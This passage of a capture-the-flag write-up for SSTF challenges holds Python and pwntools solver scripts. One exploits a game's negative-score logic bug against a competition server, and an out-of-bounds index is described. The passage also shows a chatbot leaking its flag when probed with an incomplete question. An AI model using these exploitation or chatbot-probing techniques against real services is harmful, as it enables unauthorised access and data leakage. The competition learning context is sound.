seq if i == 981: d["Last"] = info else: d["C%d"%(i)] = info def find_path(current, buf): if current == "Last": return buf info = d[current] if len(info["next"]) == 0: return None for k, v in info["next"].items(): tmp_buf = buf[:] for sw, f in info["code"]: if sw: if d[v][f] != "": tmp_buf += d[v][f] else: break else: if info[f] != "": tmp_buf += info[f] else: break else: res = find_path(v, tmp_buf) if res: return res return None start = "C1843" flag = find_path(start, "") import base64 with open("flag.jpg", "wb") as f: f.write(base64.b64decode(flag.encode())) ``` ![](https://i.imgur.com/ktaXrc2.jpg) ### FSC `M(X) -> load` `A(X) -> double` `R(a, b) -> check (now buffer size + a & 0xFF == 0)` After a little analysis, we found out the aboves. We wrote a parse code for defines and arguments by python. ```python= import re u = '''A(M(12))R(48,13) A(M(14))R(66,15) M(16)R(150,17) A(M(18))R(36,19) A(M(20))R(46,21) M(22)R(131,23) A(M(24))R(32,25) M(26)R(161,27) A(M(28))R(66,29) A(M(30))R(26,31) A(M(32))R(34,33) M(34)R(140,35) M(36)R(223,37) A(M(38))R(28,39) A(M(40))R(88,41) A(M(42))R(90,43) A(M(44))R(10,45) M(46)R(155,47) M(48)R(159,49) A(M(50))R(116,51) M(52)R(141,53) M(54)R(151,55) A(M(56))R(22,57) M(58)R(140,59) A(M(60))R(122,61) M(62)R(154,63) M(64)R(153,65) A(M(66))R(22,67) M(68)R(146,69) A(M(70))R(66,71)''' z = ('SCTF{', '01', 'f+38', 'f+34', 'f+32', 'f+36', 'f+40', 'f+41', 'f+42', 'f+43', 'f+44', 'f[27]', 'f+100', 'f[18]', 'f+82', 'f[5]', 'f+56', 'f[15]', 'f+76', 'f[14]', 'f+74', 'f[29]', 'f+104', 'f[12]', 'f+70', 'f[11]', 'f+68', 'f[21]', 'f+88', 'f[7]', 'f+60', 'f[24]', 'f+94', 'f[8]', 'f+62', 'f[28]', 'f+102', 'f[13]', 'f+72', 'f[2]', 'f+50', 'f[0]', 'f+46', 'f[4]', 'f+54', 'f[22]', 'f+90', 'f[10]', 'f+66', 'f[3]', 'f+52', 'f[20]', 'f+86', 'f[19]', 'f+84', 'f[6]', 'f+58', 'f[16]', 'f+78', 'f[1]', 'f+48', 'f[17]', 'f+80', 'f[26]', 'f+98', 'f[25]', 'f+96', 'f[23]', 'f+92', 'f[9]', 'f+64', 'f[99]', '1337', '}') f = [0 for i in range(1337)] for line in u.splitlines(): a,b,c = map(int, re.findall(r'.*\((\d+).*\((\d+).*,(\d+)', line)[0]) if line.startswith('A'): exec(f'{z[a-1]} = {(256 - b)//2}') else: exec(f'{z[a-1]} = {(256 - b)}') print(bytes(f)) ``` ### Seven's Game - High There is an `Out-Of-Bound` on the free game index in the free game select If you select higher index than 3 of free game type A and change to the free game type B, free game index points other global variable. ### Seven's Game - Low When the difficult is 50000, score can be lower than zero. After make score be negative, we repeated to lose until could buy the flag. ```python from pwn import * while 1: p = remote('sevensgamelow.sstf.site', 7777) try: p.sendlineafter(b': \n', b'5') except EOFError: p.close() sleep(1) continue p.sendlineafter(b': \n', b'2') p.sendlineafter(b': \n', b'0') p.sendlineafter(b': \n', b'2') p.sendlineafter(b']\n', b'5000') SIBAL = 1 ZZGOOD = 0 KK = 0 while 1: # sleep(0.05) p.sendlineafter(b': \n', b'3') p.recvuntil(b': ') if int(p.recvline().strip().replace(b',',b'')) >= 5_000_000: SIBAL = 1 break p.sendlineafter(b': \n', b'0') if ZZGOOD == 1: p.sendlineafter(b': \n', b'2') p.sendlineafter(b']\n', b'50000') ZZGOOD = 2 p.sendlineafter(b': \n', b'1') x = p.recvline().strip() print(x) if x.split()[0].startswith(b'Y'): SIBAL = 0 break if int(x.split()[1].replace(b',', b'')) > 50_500 and ZZGOOD == 0: ZZGOOD = 1 # if int(x.split()[1].replace(b',', b'')) > 5_000_000 and ZZGOOD == 2: # SIBAL = 1 # break p.recvuntil(b'+\n') p.recvuntil(b'+\n') x = p.recvline().strip() # print(x) # if x.startswith(b'Y'): # SIBAL = 0 # break if x.startswith(b'Win the Bonus'): p.recvline() k = p.recvline() a, s = (k[8:10], k[22:24]) p.recvline() b = p.recvline() p.recvline() q, w = (b[8:10], b[22:24]) pay = b''.join([a,s,q,w]) if pay == b'33333133': if ZZGOOD == 2: p.sendline(b'2') else: p.sendline(b'1') elif pay == b'31313333': if ZZGOOD == 2: p.sendline(b'1') else: p.sendline(b'4') elif pay == b'33343433': if ZZGOOD == 2: p.sendline(b'3') else: p.sendline(b'2') elif pay == b'34343134': if ZZGOOD == 2: p.sendline(b'4') else: p.sendline(b'3') elif pay == b'33313433': if ZZGOOD == 2: p.sendline(b'1') else: p.sendline(b'4') else: print(a,s,q,w) print(k.decode() + b.decode()) print(pay) p.interactive() p.recvlines(2) print(a,s,q,w) print(b'\n'.join(p.recvlines(5)).decode()) if KK: SIBAL = 1 break if SIBAL: p.interactive() p.close() ``` ## Misc ### Flip Puzzle Since we can move at most 11 times, there are at most 4^11 move sequences to consider. However, removing the cases where we move to the spot we were just before, there are at most 4 * 3^10 move sequences. We can precompute everything before connecting to the remote server, solving the challenge. ```python= import random from pwn import * class Challenge: goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P" status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P" xpos = 0 ypos = 0 dist = 0 def init(self): self.status = self.goal def move(self, dx, dy): assert abs(dx + dy) == 1 assert dx == 0 or dy == 0 arr = self.status.split(",") p1 = self.xpos * 4 + self.ypos xxpos = (self.xpos + dx + 4) % 4 yypos = (self.ypos + dy + 4) % 4 p2 = xxpos * 4 + yypos arr[p1], arr[p2] = arr[p2], arr[p1] self.xpos = xxpos self.ypos = yypos self.status = ",".join(arr) options = [(0, +1), (0, -1), (+1, 0), (-1, 0)] conv = {} def rec(moves): chall = Challenge() for i in moves: chall.move(options[i][0], options[i][1]) tt = "".join(chall.status.split(",")) if tt not in conv.keys(): conv[tt] = moves else: if len(conv[tt]) > len(moves): conv[tt] = moves if len(moves) == 11: return for i in range(4): if len(moves) == 0 or (len(moves) >= 1 and moves[-1] != (i ^ 1)): rec(moves + [i]) rec([]) conn = remote("flippuzzle.sstf.site", 8098) for i in range(100): print(i) conn.recvline() s1 = str(conn.recvline().decode().strip()) s2 = str(conn.recvline().decode().strip()) s3 = str(conn.recvline().decode().strip()) s4 = str(conn.recvline().decode().strip()) cur = s1 + s2 + s3 + s4 print(conv[cur]) moves = conv[cur][::-1] for idx in moves: dx = -options[idx][0] dy = -options[idx][1] conn.sendline(str(dx).encode() + b"," + str(dy).encode()) print(conn.recvline()) print(conn.recvline()) ``` ### Sam Knows `I made a chat bot with the Big(not that big) data based on me!` Once connected to the chat server, we were presented with the simple interface where we chatted with some kind of AI bot. After couple of replies, we started searching for the corpus used for learning it and successfully found it at [Baidu](https://pan.baidu.com/link/zhihu/7dhEzUuVhsi3NRhmFkevJxh3QxaZZDbQU0lV==). Then, tried to find out a logic in responses by going through different questions used in corpus. To our luck, it seems that during our deduction phase we got the flag in most inconspicuous way by asking incomplete question "`who wrote the`": ![sam_knows_interface](https://i.imgur.com/KeGWi3B.png)